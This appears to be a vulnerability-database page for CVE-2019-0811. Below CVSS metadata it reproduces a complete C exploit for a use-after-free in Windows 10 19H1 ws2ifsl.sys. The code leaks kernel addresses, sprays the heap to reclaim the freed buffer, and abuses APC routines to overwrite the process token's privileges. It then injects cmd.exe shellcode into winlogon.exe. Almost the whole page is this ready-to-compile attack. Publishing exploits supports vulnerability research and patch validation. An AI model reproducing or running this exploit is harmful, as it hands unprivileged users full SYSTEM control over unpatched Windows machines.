Microsoft Windows 10 (19H1 1901 x64) ws2ifsl.sys Use After Free Local Privilege Escalation (kASLR kC
CVE
Category
Price
Severity
CVE-2019-0811
CWE-416
Not disclosed
High
Author
Risk
Exploitation Type
Date
Kacper Szurek
High
Local
2020-01-21
CPE
cpe:cpe:/o:microsoft:windows_10:1901::x64
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020010165 Below is a copy:
Microsoft Windows 10 (19H1 1901 x64) ws2ifsl.sys Use After Free Local Privilege Escalation (kASLR kCFG SMEP) /*
The exploit works on 19H1.
It was tested with ntoskrnl version 10.0.18362.295
*/
#include <Windows.h>
#include <stdio.h>
#include <string>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#pragma comment(lib, "ntdll.lib")
// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
static const unsigned int shellcode_len = 0x1000;
#define MAXIMUM_FILENAME_LENGTH 255
#define SystemModuleInformation 0xb
#define SystemHandleInformation 0x10
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
void* Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONGReserved3;
#endif
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
CHAR Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
// exploit specific type information
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;// +0x0
UCHAR Flags;// +4
UCHAR EaNameLength;// +5
USHORT EaValueLength;// +6
CHAR EaName[1];// +9
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
typedef struct _PROC_DATA {
HANDLE apcthread;// +0x0
void* unknown1;// +0x8
void* unknown2;// +0x10
void* unknown3;// +0x18
void* unknown4;// +0x20
} PROC_DATA, * PPROC_DATA;
typedef struct _SOCK_DATA {
HANDLE unknown;// +0x0
HANDLE procDataHandle;// +0x8
} SOCK_DATA, * PSOCK_DATA;
// undocumented apis definitions
typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG key);
typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);
// resolved function pointers at runtime
NtTestAlert_t g_NtTestAlert = 0;
NtWriteFile_t g_NtWriteFile = 0;
RtlGetVersion_t g_RtlGetVersion = 0;
HANDLEg_Event1 = NULL;
HANDLEg_Event2 = NULL;
HANDLEg_Event3 = NULL;
int g_done1 = 0;
int g_done2 = 0;
#define TOKEN_OFFSET 0x40//_SEP_TOKEN_PRIVILEGES offset
#define OFFSET_LINKEDLIST 0xA8//kthread apc offset
// generic helper function
void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
HMODULE GetNOSModule()
{
HMODULE hKern = 0;
hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
return hKern;
}
DWORD64 GetModuleAddr(const char* modName)
{
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error\n");
return 0;
}
for (unsigned int i = 0; i < buffer->ModulesCount; i++)
{
PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;
if (_stricmp(kernelImage, modName) == 0)
{
free(buffer);
return (DWORD64)kernelImageBase;
}
}
free(buffer);
return 0;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
{
if (handle == (HANDLE)buffer->Handels[i].Handle)
{
//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
DWORD64 object = (DWORD64)buffer->Handels[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}
DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
HMODULE mod = GetNOSModule();
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
FreeLibrary(mod);
return returnValue;
}
/*
After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
which will call our gadget function and write the first 8 bytes.
*/
DWORD WINAPI APCThread1(LPVOID lparam)
{
SetEvent(g_Event1);
while (1)
{
if (g_done1)
{
printf("[+] triggering first APC execution\n");
g_NtTestAlert();
while (1)
{
Sleep(0x1000);
}
}
else
{
Sleep(1);
}
}
return 0;
}
/*
After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
After that the shellcode is injected into the system process.
*/
DWORD WINAPI APCThread2(LPVOID lparam)
{
SetEvent(g_Event2);
while (1)
{
if (g_done2)
{
printf("[+] triggering second APC execution\n");
g_NtTestAlert();
InjectToWinlogon();
SetEvent(g_Event3);
while (1)
{
Sleep(0x1000);
}
}
else
{
Sleep(1);
}
}
return 0;
}
HANDLE CreateSocketHandle(HANDLE procHandle)
{
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
OBJECT_ATTRIBUTES object;
IO_STATUS_BLOCK IoStatusBlock;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
if (!eaBuffer)
{
printf("[-] malloc error\n");
return fileHandle;
}
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
eaBuffer->EaValueLength = sizeof(SOCK_DATA);
RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);
SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
eaData->unknown = (void*) 0x242424224;
eaData->procDataHandle = (void*) procHandle;
NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
if (status != STATUS_SUCCESS)
{
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
HANDLE CreateProcessHandle(HANDLE hAPCThread)
{
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
OBJECT_ATTRIBUTES object;
IO_STATUS_BLOCK IoStatusBlock;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
if (!eaBuffer)
{
printf("[-] malloc error\n");
return fileHandle;
}
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(PROC_DATA);
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
if (!hAPCThread)
{
printf("[-] error thread not found\n");
free(eaBuffer);
return 0;
}
eaData->apcthread = (void*) hAPCThread;// thread must be in current process
eaData->unknown1 = (void*) 0x2222222;// APC Routine
eaData->unknown2 = (void*) 0x3333333;// cancel Rundown Routine
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
if (status != STATUS_SUCCESS)
{
printf("[-] NtCreateFile error: %x \n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
{
DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
if (!nopPointer)
{
printf("[-] SeSetAccessStateGenericMapping not found\n");
return 0;
}
DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
if (!funPointer)
{
printf("[-] SeSetAccessStateGenericMapping not found\n");
return 0;
}
UCHAR payload[0x120 - 0x48];
memset(payload, 0x0, sizeof(payload));
DWORD64 x = 0x41414141414141;
memcpy(payload, &x, 8);
x = 0x12121212;
memcpy(payload + 8, &x, 8);
x = kthreadAddress + OFFSET_LINKEDLIST;// apc linked list
memcpy(payload + 0x10, &x, 8);
x = kthreadAddress + OFFSET_LINKEDLIST;
memcpy(payload + 0x18, &x, 8);
x = funPointer;
memcpy(payload + 0x20, &x, 8);// this is the RIP we want to execute, in case of NtTestAlert
x = nopPointer;
memcpy(payload + 0x28, &x, 8);// this is the RIP we want to execute, in case of rundown routine
x = 0xffffffffffffffff;// this is to be written
memcpy(payload + 0x30, &x, 8);
x = 0xffffffffffffffff;// this is to be written, but it gets changed..
memcpy(payload + 0x38, &x, 8);
x = 0x2424242424242424;
memcpy(payload + 0x40, &x, 8);
x = writeAddress;// this is where to write
memcpy(payload + 0x48, &x, 8);
for (size_t i = 0; i < 0x70; i++)
{
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength = 0;
BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
if (!res)
{
printf("[-] error creating pipe\n");
return 0;
}
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}
return 1;
}
/*
This function will trigger the use after free in ws2ifsl.sys and
will try to reallocate the buffer with controlled content.
*/
void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
{
HANDLE procHandle = CreateProcessHandle(threadHandle);
printf("[!] procHandle %x\n", (DWORD)procHandle);
HANDLE sockHandle = CreateSocketHandle(procHandle);
printf("[!] sockHandle %x\n", (DWORD)sockHandle);
char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
// this close the objecte and we trigger the use after free
CloseHandle(sockHandle);
// this spray will reclaim the buffer
if (!DoHeapSpray(writeAddress, kthreadAddress))
{
printf("[-] error doHeapSpray\n");
return;
}
if (id == 1)
{
g_done1 = 1;
}
if (id == 2)
{
g_done2 = 1;
}
printf("[+] done\n");
Sleep(0x20);
free(readBuffer);
return;
}
/*
This function resolves all function pointer for native api calls.
*/
bool InitFunctionPointers()
{
HMODULE hNtDll = NULL;
hNtDll = LoadLibrary("ntdll.dll");
if (!hNtDll)
{
printf("error\n");
return false;
}
g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
if (!g_NtTestAlert)
{
printf("error\n");
return false;
}
g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
if (!g_NtWriteFile)
{
printf("[-] GetProcAddress() NtWriteFile failed.\n");
return false;
}
g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
if (!g_NtWriteFile)
{
printf("[-] GetProcAddress() RtlGetVersion failed.\n");
return false;
}
return true;
}
int main()
{
// intialize event for thread synchronization
g_Event1 = CreateEvent(0, 0, 0, 0);
g_Event2 = CreateEvent(0, 0, 0, 0);
g_Event3 = CreateEvent(0, 0, 0, 0);
if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
{
printf("[-] CreateEvent failed\n");
return 0;
}
if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
{
printf("[-] CreateEvent failed\n");
return 0;
}
if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
{
printf("[-] CreateEvent failed\n");
return 0;
}
if (!InitFunctionPointers())
{
printf("[-] InitFunctionPointers failed\n");
return 0;
}
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failed\n");
return 0;
}
HANDLE token = 0;
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failed\n");
return 0;
}
DWORD64 ktoken = GetKernelPointer(token, 0x5);
DWORD64 where = ktoken + TOKEN_OFFSET;
printf("[+] found token at: %p\n", (DWORD64) ktoken);
// check the supported version of this exploit, otherwise we would crash
RTL_OSVERSIONINFOW osversion;
g_RtlGetVersion(&osversion);
if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
{
printf("[+] version supported\n");
}
else
{
printf("[-] sorry version not supported\n");
return 0;
}
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
{
printf("[-] error CreateThread\n");
return 0;
}
HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
{
printf("[-] error CreateThread\n");
return 0;
}
DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
if (!threadAddrAPC1)
{
printf("[-] GetKernelPointer error \n");
return 0;
}
DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
if (!threadAddrAPC2)
{
printf("[-] GetKernelPointer error \n");
return 0;
}
// wait for threads to be initialized
WaitForSingleObject(g_Event1, -1);
WaitForSingleObject(g_Event2, -1);
TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);
WaitForSingleObject(g_Event3, -1);
ExitProcess(0);
return 0;
}
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